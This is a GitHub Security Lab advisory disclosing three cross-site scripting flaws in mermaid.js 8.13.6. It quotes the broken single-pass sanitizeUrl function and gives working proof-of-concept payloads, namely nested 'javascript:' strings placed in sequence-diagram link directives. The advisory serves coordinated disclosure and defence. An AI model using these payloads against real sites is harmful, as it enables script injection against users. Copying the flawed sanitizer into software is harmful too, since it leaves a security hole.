skip to content
Back to GitHub.com
Home Bounties Research Advisories CodeQL Wall of Fame Get Involved Events
January 12, 2022

GHSL-2021-1058_GHSL-2021-1060: Cross-Site Scripting (XSS) in mermaid.js

GitHub Security Lab

Coordinated Disclosure Timeline

Summary

Incorrect sanitization function leads to XSS.

Product

mermaid.js

Tested Version

https://github.com/mermaid-js/mermaid/releases/tag/8.13.6

Details

Issue 1: Sanitizer bypass for sanitizeUrl (GHSL-2021-1058)

The function sanitizeUrl used to replace dangerous characters in a user supplied string can be bypassed by taking advantage of the fact that it will replace the string javascript: with an empty character. This allows an attacker to craft a string that when sanitized once it will output a dangerous string.

Vulnerable code in svgDraw.js#L22:

const sanitizeUrl = function (s) {
  return s
    .replace(/&/g, '&')
    .replace(/</g, '&lt;')
    .replace(/javascript:/g, '');
};

Proof of concept:

const sanitizeUrl = function (s) {
    return s
      .replace(/&/g, '&amp;')
      .replace(/</g, '&lt;')
      .replace(/javascript:/g, '');
  };

const url = sanitizeUrl("javajavascript:script:alert(1)");
console.log(url);

// stdout: javascript:alert(1)

This function is used in several places around the codebase and we were able to verify that it leads to at least two XSS vulnerabilities detailed in the following issues.

Impact

This issue may lead to XSS.

The addLinks function in sequenceDb.js adds links parsed from the diagram to the database for later display. This function sanitizes the input JSON by calling sanitizeText which in turn calls sanitizeMore. This function is supposed to remove dangerous HTML and JavaScript but when htmlLabels is off, the initial sanitization is not performed therefore the link is added to the database “as is”.

Vulnerable code in sequenceDb.js#L218:

export const addLinks = function (actorId, text) {
  // find the actor
  const actor = getActor(actorId);
  // JSON.parse the text
  try {
    let sanitizedText = sanitizeText(text.text, configApi.getConfig());
    sanitizedText = sanitizedText.replace(/&amp;/g, '&');
    sanitizedText = sanitizedText.replace(/&equals;/g, '=');
    const links = JSON.parse(sanitizedText);
    // add the deserialized text to the actor's links field.
    insertLinks(actor, links);
  } catch (e) {
    log.error('error while parsing actor link text', e);
  }
};

The actor links will be displayed as popups by using the function drawPopup from svgDraw.js:

export const drawPopup = function (elem, actor, minMenuWidth, textAttrs, forceMenus) {
  const links = actor.links;
  ...
  if (links != null) {
    var linkY = 20;
    for (let key in links) {
      var linkElem = g.append('a');
      var sanitizedLink = sanitizeUrl(links[key]);
      linkElem.attr('xlink:href', sanitizedLink);
      linkElem.attr('target', '_blank');

      ...
    }
  }

  rectElem.attr('height', linkY);

  return { height: rectData.height + linkY, width: menuWidth };
};

In an attempt to further sanitize the content of the links displayed, drawPopup calls the vulnerable sanitization primitive sanitizeUrl which fails to protect against links that execute arbitrary JavaScript code.

Proof of concept:

sequenceDiagram
    participant Alice
    links Alice: { "Click me!" : "javasjavascript:cript:alert('goose')" }

Impact

This issue may lead to XSS.

The function addALink performs the same task as addLinks and is also vulnerable to XSS.

Vulnerable code in sequenceDb.js#L234:

export const addALink = function (actorId, text) {
  // find the actor
  const actor = getActor(actorId);
  try {
    const links = {};
    let sanitizedText = sanitizeText(text.text, configApi.getConfig());
    var sep = sanitizedText.indexOf('@');
    sanitizedText = sanitizedText.replace(/&amp;/g, '&');
    sanitizedText = sanitizedText.replace(/&equals;/g, '=');
    var label = sanitizedText.slice(0, sep - 1).trim();
    var link = sanitizedText.slice(sep + 1).trim();

    links[label] = link;
    // add the deserialized text to the actor's links field.
    insertLinks(actor, links);
  } catch (e) {
    log.error('error while parsing actor link text', e);
  }
};

Proof of concept:

sequenceDiagram
    participant Alice
    link Alice: Click Me!@javasjavascript:cript:alert("goose")

Impact

This issue may lead to XSS.

Resources

Credit

These issues were discovered and reported by GHSL team member @agustingianni (Agustin Gianni).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2021-1058, GHSL-2021-1059, or GHSL-2021-1060 in any communication regarding these issues.